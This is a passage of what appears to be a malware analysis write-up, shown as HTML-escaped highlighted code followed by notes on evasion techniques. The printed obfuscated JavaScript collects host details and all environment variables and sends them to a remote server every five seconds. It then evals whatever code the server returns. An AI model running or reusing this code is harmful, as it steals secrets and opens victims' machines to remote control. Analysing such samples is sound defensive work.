&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0x1e6675&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; Object&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x55bf55&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;189&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)](&lt;&#x2F;span&gt;&lt;span&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x55bf55&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;188&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)]())&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;flat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;()[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x55bf55&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;190&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)](&lt;&#x2F;span&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;_0x3e2c75&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; _0x55bf55&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;175&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; ===&lt;&#x2F;span&gt;&lt;span&gt; _0x3e2c75&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;family&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;amp;&amp;amp; !&lt;&#x2F;span&gt;&lt;span&gt;_0x3e2c75&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x55bf55&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;186&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; _0x55bf55&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;180&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; !==&lt;&#x2F;span&gt;&lt;span&gt; _0x3e2c75&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x55bf55&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;174&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;?.&lt;&#x2F;span&gt;&lt;span&gt;mac&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;  return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;    hostname&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; _0x15b00f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;    macs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span&gt;_0x1e6675&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;    os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; _0xd6f4f2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; + &amp;quot; &amp;quot; +&lt;&#x2F;span&gt;&lt;span&gt; _0x5dbe7b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; + &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; +&lt;&#x2F;span&gt;&lt;span&gt; _0x2272bd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; + &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;async function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; sendRequest&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;_0xc843c2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0x597000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x3354&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;  try&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;    const&lt;&#x2F;span&gt;&lt;span&gt; _0x48be04&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; URLSearchParams&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;      sysInfo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; JSON&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x597000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;181&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)](&lt;&#x2F;span&gt;&lt;span&gt;_0xc843c2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;      processInfo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; JSON&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x597000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;181&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)](&lt;&#x2F;span&gt;&lt;span&gt;process&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;env&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;      tid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;d2UgYXJlIGdvaW5nIHRvIGRvIGJpZyBvbmU=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;      sysId&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; sysId&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;    const&lt;&#x2F;span&gt;&lt;span&gt; _0x5f225a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; Buffer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x597000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;182&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)](&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x597000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;191&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; _0x597000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;167&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x597000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;178&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)](&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x597000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;170&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;    const&lt;&#x2F;span&gt;&lt;span&gt; _0x1c1994&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; await&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; fetch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;_0x5f225a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; + &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; +&lt;&#x2F;span&gt;&lt;span&gt; _0x48be04&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;    const&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;      status&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; _0x382e87&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;      message&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; _0x54ac37&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;      sysId&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; _0x1c015b&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    } =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; await&lt;&#x2F;span&gt;&lt;span&gt; _0x1c1994&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x597000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;164&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)]()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x597000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;183&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; ===&lt;&#x2F;span&gt;&lt;span&gt; _0x382e87&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;      try&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;        eval&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;_0x54ac37&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; catch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;_0x5b71d4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;_0x1c015b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      sysId&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x1c015b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; catch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;_0x393f32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    console&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x597000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;183&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)](&lt;&#x2F;span&gt;&lt;span&gt;_0x393f32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;try&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; getSystemInfo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;  sendRequest&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;  setInterval&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;    sendRequest&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  },&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 5000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; catch&lt;&#x2F;span&gt;&lt;span&gt; (_0x24d605)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  console&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x5650f6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;183&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)](&lt;&#x2F;span&gt;&lt;span&gt;_0x24d605&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  process&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x5650f6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;187&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)](&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;evasion-anti-tampering&quot;&gt;Evasion &amp;amp; Anti-Tampering&lt;&#x2F;h3&gt;
&lt;p&gt;To evade static analysis, the threat actor stripped all plaintext strings (e.g., &quot;hostname&quot;, &quot;process.env&quot;, &quot;stringify&quot;) and replaced them with an encrypted array. The script uses a custom Base64 decoding loop mapped to a reversed, non-standard alphabet.&lt;&#x2F;p&gt;
&lt;p&gt;Furthermore, it employs an Array State Validation mechanism via an Immediately Invoked Function Expression (IIFE):&lt;&#x2F;p&gt;
